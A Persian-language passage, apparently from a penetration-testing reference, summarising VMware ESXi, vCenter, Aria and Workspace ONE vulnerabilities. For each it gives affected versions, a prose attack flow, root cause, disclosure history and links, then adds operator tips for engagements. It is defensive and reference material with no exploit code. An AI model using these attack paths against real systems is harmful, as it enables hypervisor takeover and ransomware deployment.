ESX Adminsمیسازد (یا بعد از حذف دوباره میسازد) و اکانتی اضافه میکند. ESXi بهصورت خودکار به هر عضو حقوق admin کامل میدهد بدون چک وجود گروه هنگام join. سربهسر: foothold مربوط به AD ← ساخت گروه ← root مربوط به SSH/API روی هر هاست ESXi دامین-جوشده ← رمزگذاری انبوه VM. - علت ریشهای: اعتماد هاردکد به نام گروه
ESX Adminsبدون اعتبارسنجی هویت اسکوپشدهبه-دامین. - افشا: گزارش توسط Microsoft Threat Intelligence؛ ادوایزوری VMSA-2024-0013 منتشرشده ۲۰۲۴-۰۶-۲۵. Microsoft Security Blog بهرهبرداری پیش-از-پچ توسط اپراتورهای باجافزار Storm-0506 (Black Basta)، Storm-1175، Octo Tempest و Manatee Tempest را مستند میکند — از جمله دیپلوی تأییدشدهی Black Basta در یک شرکت مهندسی آمریکای شمالی. CISA KEV: افزودهشده ۲۰۲۴-۰۷-۳۰. سال کشف ۲۰۲۴ (بهرهبرداری بهعنوان 0-day)، پچشده ۲۰۲۴.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0013.html ؛ https://www.microsoft.com/en-us/security/blog/2024/07/29/ransomware-operators-exploit-esxi-hypervisor-vulnerability-for-mass-encryption/ ؛ https://www.rapid7.com/blog/post/2024/07/30/vmware-esxi-cve-2024-37085-targeted-in-ransomware-campaigns/ ؛ https://thehackernews.com/2024/07/vmware-esxi-flaw-exploited-by.html
### ۹. CVE-2024-22273 — OOB read/write کنترلر استوریج ESXi / Workstation / Fusion / vCenter
- نوت روی تیکت اصلی: این CVE در brief بهعنوان «Aria SSRF» لیست شده بود ولی رکورد واقعی NVD توصیف میکند read/write مربوط به out-of-bounds کنترلر استوریج ESXi/vCenter، نه Aria SSRF. نزدیکترین مسئلهی مجاور Aria SSRF در چرخهی ۲۰۲۴ CVE-2023-34063 است (VMSA-2024-0001) — نبود کنترل دسترسی Aria Automation که دسترسی بین-سازمانی احرازشده میدهد؛ CVSSv3 9.9. هر دو استناد شدهاند تا ماتریس فنّی دقیق بماند.
- درگیر (CVE-2024-22273): ESXi 7.0/8.0، Workstation 17.x، Fusion 13.x. واریانتهای بستهبندیشدهی vCenter Server. به دسترسی VM-local با کنترلرهای استوریج فعال نیاز دارد.
- فلوی حمله: VM با کنترلرهای استوریج فعال میتواند I/O دستکاریشده برای تریگر OOB read/write روی هاست صادر کند ← افشای اطلاعات یا DoS هاست (فرار مستقیم نشاندادهنشده). CVSS 8.1 (Important).
- علت ریشهای: چک bounds مفقود در مسیر emulation کنترلر استوریج.
- افشا: گزارش توسط Hao Zheng (@zhz) و Jiaqing Huang (@s0duku) از TianGong Team، Legendsec @ Qi'anxin Group. ادوایزوری VMSA-2024-0011 منتشرشده ۲۰۲۴-۰۵-۲۱. سال کشف ۲۰۲۴، پچشده ۲۰۲۴.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0011.html ؛ https://nvd.nist.gov/vuln/detail/CVE-2024-22273 ؛ https://www.rapid7.com/db/vulnerabilities/vmsa-2024-0011-cve-2024-22273/
- همراه Aria-مخصوص — CVE-2023-34063 (VMSA-2024-0001): نبود کنترل دسترسی در Aria Automation 8.11.x–8.14.x — بازیگر احرازشده دسترسی غیرمجاز بین-سازمانی به workflowهای ریموت میگیرد. CVSSv3 9.9. پچشده در Aria Automation 8.16. مراجع: https://www.vmware.com/security/advisories/VMSA-2024-0001.html ؛ https://www.cisa.gov/news-events/alerts/2024/01/17/vmware-releases-security-advisory-aria-automation
### ۱۰. CVE-2020-3992 + CVE-2021-21974 — use-after-free / سرریز heap پیش-احراز در OpenSLP مربوط به ESXi (وکتور باجافزار ESXiArgs)
- درگیر: ESXi 6.5، 6.7، 7.0 قبل از پچهای OpenSLP (ESXi70U1c-17325551 / ESXi670-202102401-SG / ESXi650-202102101-SG). سرویس OpenSLP روی TCP/427.
- فلوی حمله: مهاجم ناشناس پاکت SLP دستکاریشده به پورت ۴۲۷ میفرستد ← خرابی حافظه در daemon مربوط به SLP ← اجرای کد بهعنوان root روی هایپروایزر. CVE-2020-3992 مورد use-after-free است (VMSA-2020-0023)؛ CVE-2021-21974 واریانت heap-overflow است (VMSA-2021-0002، همان موج انتشار 21972).
- علت ریشهای: daemon مربوط به OpenSLP — مدتها منسوخشده، تا ۲۰۲۱ بهصورت پیشفرض افشاشده — parse ناامن فریمهای پیام SLP دارد.
- افشا: CVE-2020-3992 گزارش توسط Lucas Leong از Trend Micro ZDI (ZDI-20-1376، submission پولی ZDI). CVE-2021-21974 هم گزارش توسط Lucas Leong از Trend Micro ZDI. CISA KEV: CVE-2020-3992 افزودهشده ۲۰۲۱-۱۱-۰۳؛ CVE-2021-21974 افزودهشده ۲۰۲۳-۰۲-۰۸. کمپین باجافزار ESXiArgs (فوریهی ۲۰۲۳) ~۳٬۸۰۰ هاست اینترنت-افشاشده را از طریق CVE-2021-21974 زد — دو سال بعد از موجودبودن پچ. VMware در ریلیزهای بعدی SLP را پیشفرض غیرفعال کرد. سال کشف ۲۰۲۰/۲۰۲۱، پچشده ۲۰۲۰/۲۰۲۱، بهرهبرداری انبوه ۲۰۲۳.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2020-0023.html ؛ https://www.vmware.com/security/advisories/VMSA-2021-0002.html ؛ https://www.zerodayinitiative.com/advisories/ZDI-20-1376/ ؛ https://www.cisa.gov/known-exploited-vulnerabilities-catalog ؛ https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/ ؛ https://www.recordedfuture.com/blog/esxiargs-ransomware-targets-vmware-esxi-openslp-servers
### جایزه: CVE-2022-31656 — دورزدن auth در Workspace ONE Access / Identity Manager / vRealize Automation (پیگیری بعد-از-22972)
- درگیر: همان ماتریس محصول 22954/22972. Workspace ONE Access 21.08.x؛ Identity Manager 3.3.3–3.3.6؛ vRealize Automation 7.6.
- فلوی حمله: بازیگر فقط-شبکهای بدون احراز admin میگیرد؛ با CVE-2022-31659 (RCE احرازشده) زنجیرهشده، جفتشان admin RCE پیش-احراز میدهند — جانشین معنوی جفت 22954+22972.
- علت ریشهای: فلوی auth دامنهمحلی به پارامتری اعتماد میکرد که بدون auth قبلی قابلتأمین بود.
- افشا: گزارش توسط PetrusViet از VNG Security؛ ادوایزوری VMSA-2022-0021 منتشرشده ۲۰۲۲-۰۸-۰۲. PetrusViet نوشتهی زنجیره + PoC آزاد کرد. سال ۲۰۲۲.
- مراجع: https://www.vmware.com/security/advisories/VMSA-2022-0021.html ؛ https://www.greynoise.io/blog/vmware-workspace-one-vulnerabilities-cve-2022-31656-and-cve-2022-31659 ؛ https://attackerkb.com/topics/RuMGC8Q1pE/cve-2022-31656
ابزار و نکات عملیاتی
Key meta-references (cross-CVE)ابزارهای کمکی، نصب، خروجیهای مورد انتظار و یادداشتهای اپراتور
- کاتالوگ CISA KEV (فیلتر VMware): https://www.cisa.gov/known-exploited-vulnerabilities-catalog?search_api_fulltext=vmware — VMware یکی از پرحضورترین وندورهاست؛ هر یافتهی vCenter/ESXi/Workspace را قبل از درجهبندی شدت اینجا ارجاع متقابل کن.
- ایندکس ادوایزوریهای Broadcom (سابقاً VMware): https://support.broadcom.com/security-advisories (قدیمی: https://www.vmware.com/security/advisories.html). با الگوی VMSA-YYYY-NNNN جستوجو کن.
- ادوایزوریهای منتشرشدهی ZDI: https://www.zerodayinitiative.com/advisories/published/ — «VMware» را فیلتر کن برای افشاگریهای کانونیک بانتی-پولی (CVE-2020-3992، CVE-2023-34048، چند Aria Operations و vRNI).
- گزارشدهی Mandiant UNC3886: Google Cloud Threat Intelligence عمیقترین رد فارنزیک منتشرشده روی بهرهبرداری زیروده دیردمت vCenter را دارد. وقتی روی تارگتی کار میکنی که vCenter قابلدسترس است با اسکیل
mid-engagement-ir-detectionجفت کن.
الگوی مشترک همهی مدخلهای بالا: CVEهای صفحهی مدیریت VMware پیش-احراز، شبکه-قابلدسترس و ظرف روزهای پس از پچ بهرهبرداری انبوه میشوند. وقتی recon بیرونی هرکدام از این محصولات را در سطح پچ «یک-عقباز-جاری» برمیدارد، آن یافتهی Critical ارزش فراخوان همانروز در deliverable را دارد — نه info-disclosure مربوط به Medium.